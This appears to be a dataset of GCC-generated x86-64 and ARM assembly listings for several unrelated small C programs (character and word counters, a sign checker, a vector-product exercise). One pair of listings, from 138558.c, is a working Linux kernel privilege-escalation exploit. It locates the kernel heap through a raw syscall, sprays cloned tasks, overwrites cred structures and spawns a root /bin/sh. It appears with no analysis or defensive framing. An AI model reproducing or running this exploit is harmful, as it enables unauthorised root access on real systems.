.size truncate_whitespace, .-truncate_whitespace
.section .rodata
.align 2
.LC4:
.ascii "\012Number of blanks: %d\012Number of tabs: %d\012"
.ascii "Number of lines: %d\012\000"
.text
.align 2
.global count_btl
.syntax unified
.arm
.fpu softvfp
.type count_btl, %function
count_btl:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
mov r3, #0
str r3, [fp, #-16]
ldr r3, [fp, #-16]
str r3, [fp, #-20]
mov r3, #1
str r3, [fp, #-12]
b .L32
.L35:
ldr r3, [fp, #-8]
cmp r3, #32
bne .L33
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
b .L32
.L33:
ldr r3, [fp, #-8]
cmp r3, #9
bne .L34
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
b .L32
.L34:
ldr r3, [fp, #-8]
cmp r3, #10
bne .L32
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L32:
bl getchar
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmn r3, #1
bne .L35
ldr r3, [fp, #-12]
ldr r2, [fp, #-16]
ldr r1, [fp, #-20]
ldr r0, .L36
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L37:
.align 2
.L36:
.word .LC4
.size count_btl, .-count_btl
.align 2
.global replace_specials
.syntax unified
.arm
.fpu softvfp
.type replace_specials, %function
replace_specials:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
b .L39
.L43:
ldr r3, [fp, #-8]
cmp r3, #92
bne .L40
mov r0, #92
bl putchar
mov r0, #92
bl putchar
b .L39
.L40:
ldr r3, [fp, #-8]
cmp r3, #9
bne .L41
mov r0, #92
bl putchar
mov r0, #116
bl putchar
b .L39
.L41:
ldr r3, [fp, #-8]
cmp r3, #8
bne .L42
mov r0, #92
bl putchar
mov r0, #98
bl putchar
b .L39
.L42:
ldr r0, [fp, #-8]
bl putchar
.L39:
bl getchar
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #10
bne .L43
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size replace_specials, .-replace_specials
.section .rodata
.align 2
.LC5:
.ascii "\012Number of lines: %d\012Number of words: %d\012N"
.ascii "umber of chars: %d\012\000"
.text
.align 2
.global wc
.syntax unified
.arm
.fpu softvfp
.type wc, %function
wc:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
mov r3, #0
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-16]
ldr r3, [fp, #-16]
str r3, [fp, #-20]
ldr r3, [fp, #-20]
str r3, [fp, #-24]
b .L45
.L49:
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-8]
cmp r3, #10
bne .L46
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L46:
ldr r3, [fp, #-8]
cmp r3, #32
beq .L47
ldr r3, [fp, #-8]
cmp r3, #9
beq .L47
ldr r3, [fp, #-8]
cmp r3, #10
bne .L48
.L47:
mov r3, #0
str r3, [fp, #-12]
b .L45
.L48:
ldr r3, [fp, #-12]
cmp r3, #0
bne .L45
mov r3, #1
str r3, [fp, #-12]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L45:
bl getchar
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmn r3, #1
bne .L49
ldr r3, [fp, #-16]
ldr r2, [fp, #-20]
ldr r1, [fp, #-24]
ldr r0, .L50
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L51:
.align 2
.L50:
.word .LC5
.size wc, .-wc
.align 2
.global one_word_line
.syntax unified
.arm
.fpu softvfp
.type one_word_line, %function
one_word_line:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
b .L53
.L57:
ldr r3, [fp, #-8]
cmp r3, #32
beq .L54
ldr r3, [fp, #-8]
cmp r3, #9
bne .L55
.L54:
ldr r3, [fp, #-12]
cmp r3, #10
beq .L53
mov r0, #10
bl putchar
mov r3, #10
str r3, [fp, #-12]
b .L53
.L55:
ldr r0, [fp, #-8]
bl putchar
ldr r3, [fp, #-8]
str r3, [fp, #-12]
.L53:
bl getchar
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmn r3, #1
bne .L57
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size one_word_line, .-one_word_line
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
bl one_word_line
mov r3, #0
mov r0, r3
pop {fp, pc}
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "637253.c"
.intel_syntax noprefix
.text
.globl func
.type func, @function
func:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov eax, DWORD PTR -4[rbp]
imul eax, eax, 42
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size func, .-func
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "637253.c"
.text
.align 2
.global func
.syntax unified
.arm
.fpu softvfp
.type func, %function
func:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r2, r3, #3
sub r2, r2, r3
lsl r3, r2, #1
mov r2, r3
mov r3, r2
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size func, .-func
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "138558.c"
.intel_syntax noprefix
.text
.globl status
.bss
.align 4
.type status, @object
.size status, 4
status:
.zero 4
.section .rodata
.align 8
.LC0:
.string "[+] Found kernel heap base: 0x%lx\n"
.text
.globl get_kernel_heap_base
.type get_kernel_heap_base, @function
get_kernel_heap_base:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
movabs rax, -281474976710656
mov QWORD PTR -16[rbp], rax
mov QWORD PTR -8[rbp], 268435456
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR -24[rbp], rax
jmp .L2
.L5:
mov rax, QWORD PTR -24[rbp]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov edx, 0
mov esi, 0
mov edi, 247
mov eax, 0
call syscall@PLT
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 14
je .L3
mov rax, QWORD PTR -24[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -24[rbp]
jmp .L4
.L3:
mov rax, QWORD PTR -8[rbp]
add QWORD PTR -24[rbp], rax
.L2:
cmp QWORD PTR -24[rbp], 0
jne .L5
mov eax, 0
.L4:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size get_kernel_heap_base, .-get_kernel_heap_base
.section .rodata
.LC1:
.string "\n[+] Got euid = 0!"
.LC2:
.string "[+] Notifying clones..."
.LC3:
.string "[+] euid: %d, uid: %d\n"
.LC4:
.string "/bin/sh"
.text
.globl get_shell
.type get_shell, @function
get_shell:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 8
.cfi_offset 3, -24
jmp .L7
.L8:
mov edi, 100000
call usleep@PLT
mov eax, DWORD PTR status[rip]
test eax, eax
jne .L7
mov edi, 10000
call sleep@PLT
.L7:
call geteuid@PLT
test eax, eax
jne .L8
lea rdi, .LC1[rip]
call puts@PLT
lea rdi, .LC2[rip]
call puts@PLT
mov DWORD PTR status[rip], 0
mov esi, 0
mov edi, 0
call setreuid@PLT
mov edi, 0
call setuid@PLT
call getuid@PLT
mov ebx, eax
call geteuid@PLT
mov edx, ebx
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC4[rip]
call system@PLT
mov eax, 0
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size get_shell, .-get_shell
.section .rodata
.align 8
.LC5:
.string "[-] Finding kernel heap base..."
.align 8
.LC6:
.string "[!] Failed to get kernel heap base..."
.LC7:
.string "[-] Spraying tasks..."
.LC8:
.string "[!] Impossible to clone()"
.align 8
.LC9:
.string "[-] Trying smash a cred struct..."
.LC10:
.string "\r[-] Writing to 0x%lx"
.text
.globl main
.type main, @function
main:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 3968
mov DWORD PTR -8052[rbp], edi
mov QWORD PTR -8064[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdx, -8016[rbp]
mov eax, 0
mov ecx, 1000
mov rdi, rdx
rep stosq
mov rax, QWORD PTR stdout[rip]
mov ecx, 0
mov edx, 2
mov esi, 0
mov rdi, rax
call setvbuf@PLT
mov DWORD PTR status[rip], 1
lea rdi, .LC5[rip]
call puts@PLT
mov eax, 0
call get_kernel_heap_base
mov QWORD PTR -8024[rbp], rax
cmp QWORD PTR -8024[rbp], 0
jne .L11
lea rdi, .LC6[rip]
call puts@PLT
mov eax, 0
jmp .L21
.L11:
lea rdi, .LC7[rip]
call puts@PLT
mov DWORD PTR -8044[rbp], 0
jmp .L13
.L15:
mov edi, 65536
call malloc@PLT
mov rdx, rax
mov eax, DWORD PTR -8044[rbp]
cdqe
mov QWORD PTR -8016[rbp+rax*8], rdx
mov eax, DWORD PTR -8044[rbp]
cdqe
mov rax, QWORD PTR -8016[rbp+rax*8]
mov ecx, 0
mov edx, 273
mov rsi, rax
lea rdi, get_shell[rip]
mov eax, 0
call clone@PLT
mov DWORD PTR -8036[rbp], eax
cmp DWORD PTR -8036[rbp], -1
jne .L14
lea rdi, .LC8[rip]
call perror@PLT
mov eax, 1
jmp .L21
.L14:
add DWORD PTR -8044[rbp], 1
.L13:
cmp DWORD PTR -8044[rbp], 999
jle .L15
lea rdi, .LC9[rip]
call puts@PLT
mov rax, QWORD PTR -8024[rbp]
add rax, 994058260
mov QWORD PTR -8032[rbp], rax
jmp .L16
.L18:
mov rax, QWORD PTR -8032[rbp]
mov rsi, rax
lea rdi, .LC10[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8032[rbp]
mov r9d, 0
mov r8d, 536870917
mov rcx, rax
mov edx, 0
mov esi, 0
mov edi, 247
mov eax, 0
call syscall@PLT
mov edi, 100000
call usleep@PLT
add QWORD PTR -8032[rbp], 4096
.L16:
cmp QWORD PTR -8032[rbp], -1048577
ja .L17
mov eax, DWORD PTR status[rip]
test eax, eax
jne .L18
.L17:
mov DWORD PTR -8040[rbp], 0
jmp .L19
.L20:
mov edi, 0
call wait@PLT
mov eax, DWORD PTR -8040[rbp]
cdqe
mov rax, QWORD PTR -8016[rbp+rax*8]
mov rdi, rax
call free@PLT
add DWORD PTR -8040[rbp], 1
.L19:
cmp DWORD PTR -8040[rbp], 999
jle .L20
mov eax, 0
.L21:
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L22
call __stack_chk_fail@PLT
.L22:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "138558.c"
.text
.comm status,4,4
.section .rodata
.align 2
.LC0:
.ascii "[+] Found kernel heap base: 0x%lx\012\000"
.text
.align 2
.global get_kernel_heap_base
.syntax unified
.arm
.fpu softvfp
.type get_kernel_heap_base, %function
get_kernel_heap_base:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
mov r3, #0
str r3, [fp, #-12]
mov r3, #268435456
str r3, [fp, #-8]
ldr r3, [fp, #-12]
str r3, [fp, #-16]
b .L2
.L5:
mov r3, #0
str r3, [sp, #4]
mov r3, #4
str r3, [sp]
ldr r3, [fp, #-16]
mov r2, #0
mov r1, #0
mov r0, #280
bl syscall
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #14
beq .L3
ldr r1, [fp, #-16]
ldr r0, .L6
bl printf
ldr r3, [fp, #-16]
b .L4
.L3:
ldr r2, [fp, #-16]
ldr r3, [fp, #-8]
add r3, r2, r3
str r3, [fp, #-16]
.L2:
ldr r3, [fp, #-16]
cmp r3, #0
bne .L5
mov r3, #0
.L4:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L7:
.align 2
.L6:
.word .LC0
.size get_kernel_heap_base, .-get_kernel_heap_base
.section .rodata
.align 2
.LC1:
.ascii "\012[+] Got euid = 0!\000"
.align 2
.LC2:
.ascii "[+] Notifying clones...\000"
.align 2
.LC3:
.ascii "[+] euid: %d, uid: %d\012\000"
.align 2
.LC4:
.ascii "/bin/sh\000"
.text
.align 2
.global get_shell
.syntax unified
.arm
.fpu softvfp
.type get_shell, %function
get_shell:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
b .L9
.L10:
ldr r0, .L12
bl usleep
ldr r3, .L12+4
ldr r3, [r3]
cmp r3, #0
bne .L9
ldr r0, .L12+8
bl sleep
.L9:
bl geteuid
mov r3, r0
cmp r3, #0
bne .L10
ldr r0, .L12+12
bl puts
ldr r0, .L12+16
bl puts
ldr r3, .L12+4
mov r2, #0
str r2, [r3]
mov r1, #0
mov r0, #0
bl setreuid
mov r0, #0
bl setuid
bl geteuid
mov r4, r0
bl getuid
mov r3, r0
mov r2, r3
mov r1, r4
ldr r0, .L12+20
bl printf
ldr r0, .L12+24
bl system
mov r3, #0
mov r0, r3
pop {r4, r5, fp, pc}
.L13:
.align 2
.L12:
.word 100000
.word status
.word 10000
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size get_shell, .-get_shell
.section .rodata
.align 2
.LC5:
.ascii "[-] Finding kernel heap base...\000"
.align 2
.LC6:
.ascii "[!] Failed to get kernel heap base...\000"
.align 2
.LC7:
.ascii "[-] Spraying tasks...\000"
.align 2
.LC8:
.ascii "[!] Impossible to clone()\000"
.align 2
.LC9:
.ascii "[-] Trying smash a cred struct...\000"
.align 2
.LC10:
.ascii "\015[-] Writing to 0x%lx\000"
.align 2
.LC11:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 4032
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4032
sub sp, sp, #8
str r0, [fp, #-4032]
str r1, [fp, #-4036]
ldr r3, .L27
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #4000
sub r3, r3, #4
sub r3, r3, #4
mov r2, #4000
mov r1, #0
mov r0, r3
bl memset
ldr r3, .L27+4
ldr r0, [r3]
mov r3, #0
mov r2, #2
mov r1, #0
bl setvbuf
ldr r3, .L27+8
mov r2, #1
str r2, [r3]
ldr r0, .L27+12
bl puts
bl get_kernel_heap_base
str r0, [fp, #-4016]
ldr r3, [fp, #-4016]
cmp r3, #0
bne .L15
ldr r0, .L27+16
bl puts
mov r3, #0
b .L25
.L15:
ldr r0, .L27+20
bl puts
mov r3, #0
str r3, [fp, #-4028]
b .L17
.L19:
mov r0, #65536
bl malloc
mov r3, r0
mov r2, r3
ldr r3, [fp, #-4028]
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-4004]
ldr r3, [fp, #-4028]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r1, [r3, #-4004]
mov r3, #0
ldr r2, .L27+24
ldr r0, .L27+28
bl clone
str r0, [fp, #-4012]
ldr r3, [fp, #-4012]
cmn r3, #1
bne .L18
ldr r0, .L27+32
bl perror
mov r3, #1
b .L25
.L18:
ldr r3, [fp, #-4028]
add r3, r3, #1
str r3, [fp, #-4028]
.L17:
ldr r3, [fp, #-4028]
cmp r3, #1000
blt .L19
ldr r0, .L27+36
bl puts
ldr r2, [fp, #-4016]
ldr r3, .L27+40
add r3, r2, r3
str r3, [fp, #-4024]
b .L20
.L22:
ldr r1, [fp, #-4024]
ldr r0, .L27+44
bl printf
mov r3, #0
str r3, [sp, #4]
mov r3, #536870917
str r3, [sp]
ldr r3, [fp, #-4024]
mov r2, #0
mov r1, #0
mov r0, #280
bl syscall
ldr r0, .L27+48
bl usleep
ldr r3, [fp, #-4024]
add r3, r3, #4096
str r3, [fp, #-4024]
.L20:
ldr r3, [fp, #-4024]
cmn r3, #1048576
bcs .L21
ldr r3, .L27+8
ldr r3, [r3]
cmp r3, #0
bne .L22
.L21:
mov r3, #0
str r3, [fp, #-4020]
b .L23
.L24:
mov r0, #0
bl wait
ldr r3, [fp, #-4020]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-4004]
mov r0, r3
bl free
ldr r3, [fp, #-4020]
add r3, r3, #1
str r3, [fp, #-4020]
.L23:
ldr r3, [fp, #-4020]
cmp r3, #1000
blt .L24
mov r3, #0
.L25:
ldr r2, .L27
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L26
bl __stack_chk_fail
.L26:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L28:
.align 2
.L27:
.word .LC11
.word stdout
.word status
.word .LC5
.word .LC6
.word .LC7
.word 273
.word get_shell
.word .LC8
.word .LC9
.word 994058260
.word .LC10
.word 100000
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "749928.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Enter a number: "
.LC1:
.string "%lf"
.align 8
.LC3:
.string "You entered a negative number."
.align 8
.LC4:
.string "You entered a positive number."
.LC5:
.string "You entered 0."
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
movsd xmm1, QWORD PTR -16[rbp]
pxor xmm0, xmm0
comisd xmm0, xmm1
jbe .L11
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
jmp .L4
.L11:
movsd xmm0, QWORD PTR -16[rbp]
pxor xmm1, xmm1
comisd xmm0, xmm1
jbe .L12
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
jmp .L4
.L12:
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
.L4:
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L8
call __stack_chk_fail@PLT
.L8:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "749928.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter a number: \000"
.align 2
.LC1:
.ascii "%lf\000"
.global __aeabi_dcmplt
.align 2
.LC2:
.ascii "You entered a negative number.\000"
.global __aeabi_dcmpgt
.align 2
.LC3:
.ascii "You entered a positive number.\000"
.align 2
.LC4:
.ascii "You entered 0.\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L13
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L13+4
bl printf
sub r3, fp, #20
mov r1, r3
ldr r0, .L13+8
bl __isoc99_scanf
sub r1, fp, #20
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L11
ldr r0, .L13+12
bl printf
b .L4
.L11:
sub r1, fp, #20
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L12
ldr r0, .L13+16
bl printf
b .L4
.L12:
ldr r0, .L13+20
bl printf
.L4:
mov r3, #0
ldr r2, .L13
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L8
bl __stack_chk_fail
.L8:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L14:
.align 2
.L13:
.word .LC5
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "814006.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "Insira o valor para o primeiro vetor: "
.LC1:
.string "%d"
.align 8
.LC2:
.string "Insira o valor para o segundo vetor: "
.LC3:
.string "Produto dos vetores."
.LC4:
.string "%d\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 160
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -148[rbp], 0
jmp .L2
.L3:
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rdx, -144[rbp]
mov eax, DWORD PTR -148[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -148[rbp], 1
.L2:
cmp DWORD PTR -148[rbp], 9
jle .L3
mov DWORD PTR -148[rbp], 0
jmp .L4
.L5:
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
lea rdx, -96[rbp]
mov eax, DWORD PTR -148[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -148[rbp], 1
.L4:
cmp DWORD PTR -148[rbp], 9
jle .L5
mov DWORD PTR -148[rbp], 0
jmp .L6
.L7:
mov eax, DWORD PTR -148[rbp]
cdqe
mov edx, DWORD PTR -144[rbp+rax*4]
mov eax, DWORD PTR -148[rbp]
cdqe
mov eax, DWORD PTR -96[rbp+rax*4]
imul edx, eax
mov eax, DWORD PTR -148[rbp]
cdqe
mov DWORD PTR -48[rbp+rax*4], edx
add DWORD PTR -148[rbp], 1
.L6:
cmp DWORD PTR -148[rbp], 9
jle .L7
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -148[rbp], 0
jmp .L8
.L9:
mov eax, DWORD PTR -148[rbp]
cdqe
mov eax, DWORD PTR -48[rbp+rax*4]
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -148[rbp], 1
.L8:
cmp DWORD PTR -148[rbp], 9
jle .L9
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L11
call __stack_chk_fail@PLT
.L11:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "814006.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Insira o valor para o primeiro vetor: \000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.ascii "Insira o valor para o segundo vetor: \000"
.align 2
.LC3:
.ascii "Produto dos vetores.\000"
.align 2
.LC4:
.ascii "%d\012\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 128
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #128
ldr r3, .L12
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-132]
b .L2
.L3:
ldr r0, .L12+4
bl printf
sub r2, fp, #128
ldr r3, [fp, #-132]
lsl r3, r3, #2
add r3, r2, r3
mov r1, r3
ldr r0, .L12+8
bl __isoc99_scanf
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L2:
ldr r3, [fp, #-132]
cmp r3, #9
ble .L3
mov r3, #0
str r3, [fp, #-132]
b .L4
.L5:
ldr r0, .L12+12
bl printf
sub r2, fp, #88
ldr r3, [fp, #-132]
lsl r3, r3, #2
add r3, r2, r3
mov r1, r3
ldr r0, .L12+8
bl __isoc99_scanf
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L4:
ldr r3, [fp, #-132]
cmp r3, #9
ble .L5
mov r3, #0
str r3, [fp, #-132]
b .L6
.L7:
ldr r3, [fp, #-132]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r2, [r3, #-124]
ldr r3, [fp, #-132]
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
ldr r3, [r3, #-84]
mul r2, r3, r2
ldr r3, [fp, #-132]
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-44]
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L6:
ldr r3, [fp, #-132]
cmp r3, #9
ble .L7
ldr r0, .L12+16
bl printf
mov r3, #0
str r3, [fp, #-132]
b .L8
.L9:
ldr r3, [fp, #-132]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-44]
mov r1, r3
ldr r0, .L12+20
bl printf
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L8:
ldr r3, [fp, #-132]
cmp r3, #9
ble .L9
mov r3, #0
ldr r2, .L12
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L11
bl __stack_chk_fail
.L11:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L13:
.align 2
.L12:
.word .LC5
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size main, .-main
